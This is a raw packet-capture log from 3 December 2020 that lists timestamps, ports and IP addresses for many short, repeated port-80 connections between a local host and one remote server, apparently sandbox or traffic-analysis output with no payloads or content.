Dec 3, 2020 10:03:20.146576881 CET	49865	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.163244963 CET	80	49865	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.163347006 CET	49865	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.167098045 CET	49865	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.183747053 CET	80	49865	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.187146902 CET	49865	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.203754902 CET	80	49865	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.230772972 CET	80	49865	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.230925083 CET	49865	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.230945110 CET	49865	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.247488976 CET	80	49865	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.613806009 CET	49866	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.630492926 CET	80	49866	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.631637096 CET	49866	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.635796070 CET	49866	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.652374983 CET	80	49866	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.657254934 CET	49866	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.673825026 CET	80	49866	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.702594995 CET	80	49866	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.705240011 CET	49866	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.707112074 CET	49866	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.723686934 CET	80	49866	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.893531084 CET	49867	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.910063982 CET	80	49867	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.910689116 CET	49867	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.914107084 CET	49867	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.933108091 CET	80	49867	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.933341980 CET	49867	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.949878931 CET	80	49867	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.975845098 CET	80	49867	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:20.976200104 CET	49867	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.976289034 CET	49867	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:20.994946957 CET	80	49867	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:21.388221025 CET	49868	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.404917002 CET	80	49868	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:21.405559063 CET	49868	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.409024954 CET	49868	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.425664902 CET	80	49868	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:21.427589893 CET	49868	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.444153070 CET	80	49868	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:21.474462986 CET	80	49868	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:21.474550962 CET	49868	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.474606037 CET	49868	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.491817951 CET	80	49868	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:21.967200994 CET	49869	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.983795881 CET	80	49869	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:21.985224962 CET	49869	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:21.989440918 CET	49869	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.006366968 CET	80	49869	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.008724928 CET	49869	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.025309086 CET	80	49869	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.047095060 CET	80	49869	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.047286034 CET	49869	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.063811064 CET	80	49869	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.240398884 CET	49870	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.256974936 CET	80	49870	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.259181023 CET	49870	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.262478113 CET	49870	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.279035091 CET	80	49870	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.279279947 CET	49870	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.295805931 CET	80	49870	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.321959019 CET	80	49870	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.323543072 CET	49870	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.323586941 CET	49870	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.340341091 CET	80	49870	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.738648891 CET	49871	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.755168915 CET	80	49871	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.755258083 CET	49871	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.758574009 CET	49871	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.775094032 CET	80	49871	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.775207996 CET	49871	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.791826963 CET	80	49871	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.823090076 CET	80	49871	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:22.824006081 CET	49871	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.824145079 CET	49871	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:22.840636015 CET	80	49871	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.003050089 CET	49872	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.019745111 CET	80	49872	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.021353960 CET	49872	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.023041964 CET	49872	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.039597988 CET	80	49872	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.039750099 CET	49872	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.056206942 CET	80	49872	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.081216097 CET	80	49872	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.082379103 CET	49872	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.082401037 CET	49872	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.098975897 CET	80	49872	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.508022070 CET	49873	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.524681091 CET	80	49873	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.524856091 CET	49873	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.528398037 CET	49873	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.544975042 CET	80	49873	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.545073986 CET	49873	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.561513901 CET	80	49873	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.585988998 CET	80	49873	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:23.586323023 CET	49873	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:23.603558064 CET	80	49873	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.000941992 CET	49874	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.017523050 CET	80	49874	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.019682884 CET	49874	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.023586035 CET	49874	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.040134907 CET	80	49874	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.040232897 CET	49874	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.056749105 CET	80	49874	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.206701040 CET	80	49874	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.208885908 CET	49874	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.209001064 CET	49874	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.225507021 CET	80	49874	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.658518076 CET	49880	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.675199986 CET	80	49880	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.677526951 CET	49880	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.680366993 CET	49880	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.696907043 CET	80	49880	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.696995974 CET	49880	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.713761091 CET	80	49880	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.744697094 CET	80	49880	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:24.744875908 CET	49880	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.744957924 CET	49880	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:24.761495113 CET	80	49880	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.164532900 CET	49881	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.181127071 CET	80	49881	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.181376934 CET	49881	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.184133053 CET	49881	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.200594902 CET	80	49881	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.200767994 CET	49881	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.217232943 CET	80	49881	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.245220900 CET	80	49881	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.245346069 CET	49881	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.245429993 CET	49881	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.261847019 CET	80	49881	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.640032053 CET	49882	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.656631947 CET	80	49882	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.656743050 CET	49882	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.660223007 CET	49882	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.676853895 CET	80	49882	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.676928043 CET	49882	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.693347931 CET	80	49882	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.718343019 CET	80	49882	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:25.718461990 CET	49882	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.718502998 CET	49882	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:25.735034943 CET	80	49882	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.168152094 CET	49883	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.184849024 CET	80	49883	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.185031891 CET	49883	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.190090895 CET	49883	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.206631899 CET	80	49883	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.206758022 CET	49883	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.223284960 CET	80	49883	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.256450891 CET	80	49883	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.256886005 CET	49883	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.273507118 CET	80	49883	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.780653954 CET	49884	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.797292948 CET	80	49884	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.797396898 CET	49884	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.801023960 CET	49884	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.817574024 CET	80	49884	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.817636013 CET	49884	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.834177971 CET	80	49884	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.861567974 CET	80	49884	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:26.861640930 CET	49884	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.861663103 CET	49884	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:26.880100965 CET	80	49884	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.048945904 CET	49885	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.065565109 CET	80	49885	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.065757990 CET	49885	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.069096088 CET	49885	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.085695028 CET	80	49885	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.086309910 CET	49885	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.102839947 CET	80	49885	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.127991915 CET	80	49885	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.128107071 CET	49885	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.128134012 CET	49885	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.144670963 CET	80	49885	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.570769072 CET	49886	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.587440968 CET	80	49886	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.587570906 CET	49886	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.591078997 CET	49886	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.607644081 CET	80	49886	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.607764006 CET	49886	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.624267101 CET	80	49886	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.649519920 CET	80	49886	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:27.649641037 CET	49886	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.649686098 CET	49886	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:27.667598963 CET	80	49886	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.080795050 CET	49887	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.097331047 CET	80	49887	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.099910021 CET	49887	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.103034019 CET	49887	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.119555950 CET	80	49887	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.119638920 CET	49887	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.136183977 CET	80	49887	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.169105053 CET	80	49887	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.169262886 CET	49887	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.169289112 CET	49887	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.185769081 CET	80	49887	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.349801064 CET	49888	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.366447926 CET	80	49888	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.366895914 CET	49888	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.370666981 CET	49888	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.387273073 CET	80	49888	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.387365103 CET	49888	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.403879881 CET	80	49888	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.577908039 CET	80	49888	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.578011990 CET	49888	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.578123093 CET	49888	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.594623089 CET	80	49888	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.975814104 CET	49889	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.992470026 CET	80	49889	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:28.992621899 CET	49889	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:28.995903015 CET	49889	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.012423038 CET	80	49889	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.012512922 CET	49889	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.029009104 CET	80	49889	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.054012060 CET	80	49889	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.054132938 CET	49889	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.054287910 CET	49889	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.070784092 CET	80	49889	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.241102934 CET	49890	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.257731915 CET	80	49890	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.257920027 CET	49890	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.261435986 CET	49890	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.277905941 CET	80	49890	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.277981043 CET	49890	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.294457912 CET	80	49890	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.322722912 CET	80	49890	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.322809935 CET	49890	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.322850943 CET	49890	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.340442896 CET	80	49890	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.886050940 CET	49891	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.902578115 CET	80	49891	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.902667046 CET	49891	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.906199932 CET	49891	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.922646999 CET	80	49891	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.922723055 CET	49891	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.939095974 CET	80	49891	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.963618040 CET	80	49891	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:29.963740110 CET	49891	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.963762045 CET	49891	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:29.982203007 CET	80	49891	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:30.456536055 CET	49892	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.473176956 CET	80	49892	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:30.473299980 CET	49892	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.476260900 CET	49892	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.492768049 CET	80	49892	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:30.492850065 CET	49892	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.509576082 CET	80	49892	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:30.536401033 CET	80	49892	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:30.536499977 CET	49892	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.536541939 CET	49892	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.553813934 CET	80	49892	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:30.973790884 CET	49893	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.990508080 CET	80	49893	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:30.990655899 CET	49893	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:30.994100094 CET	49893	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.010664940 CET	80	49893	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.011329889 CET	49893	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.027831078 CET	80	49893	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.054594994 CET	80	49893	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.054692984 CET	49893	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.054737091 CET	49893	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.071343899 CET	80	49893	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.239691973 CET	49894	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.256187916 CET	80	49894	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.256304026 CET	49894	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.259182930 CET	49894	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.284234047 CET	80	49894	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.286514044 CET	49894	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.303020000 CET	80	49894	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.328924894 CET	80	49894	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.330082893 CET	49894	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.330126047 CET	49894	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.346630096 CET	80	49894	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.730622053 CET	49895	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.747126102 CET	80	49895	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.748471022 CET	49895	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.751250982 CET	49895	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.767647982 CET	80	49895	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.767699957 CET	49895	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.784080982 CET	80	49895	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.807704926 CET	80	49895	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.807840109 CET	49895	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.807883024 CET	49895	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:31.826390982 CET	80	49895	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:31.993824959 CET	49896	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.010210991 CET	80	49896	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.010360003 CET	49896	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.014316082 CET	49896	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.030756950 CET	80	49896	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.030854940 CET	49896	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.047257900 CET	80	49896	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.077872992 CET	80	49896	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.077950954 CET	49896	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.078022003 CET	49896	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.096353054 CET	80	49896	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.581880093 CET	49897	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.598439932 CET	80	49897	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.600303888 CET	49897	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.604345083 CET	49897	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.620834112 CET	80	49897	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.620944977 CET	49897	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.637429953 CET	80	49897	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.665529966 CET	80	49897	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.665640116 CET	49897	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.665678978 CET	49897	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.682200909 CET	80	49897	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.842343092 CET	49898	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.858978987 CET	80	49898	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.860187054 CET	49898	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.863168001 CET	49898	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.879812956 CET	80	49898	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.880027056 CET	49898	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.896692038 CET	80	49898	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.924294949 CET	80	49898	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:32.924621105 CET	49898	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.924659014 CET	49898	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:32.941148996 CET	80	49898	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.416758060 CET	49899	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.433455944 CET	80	49899	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.433602095 CET	49899	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.437469006 CET	49899	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.454123974 CET	80	49899	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.454191923 CET	49899	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.470716953 CET	80	49899	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.495291948 CET	80	49899	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.495426893 CET	49899	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.495491028 CET	49899	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.512201071 CET	80	49899	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.917021990 CET	49900	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.933628082 CET	80	49900	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.933715105 CET	49900	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.936414957 CET	49900	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.953022957 CET	80	49900	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.953109026 CET	49900	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.969623089 CET	80	49900	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.997836113 CET	80	49900	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:33.997997999 CET	49900	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:33.998023033 CET	49900	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.014542103 CET	80	49900	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:34.426474094 CET	49901	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.443044901 CET	80	49901	47.91.79.163	192.168.2.3
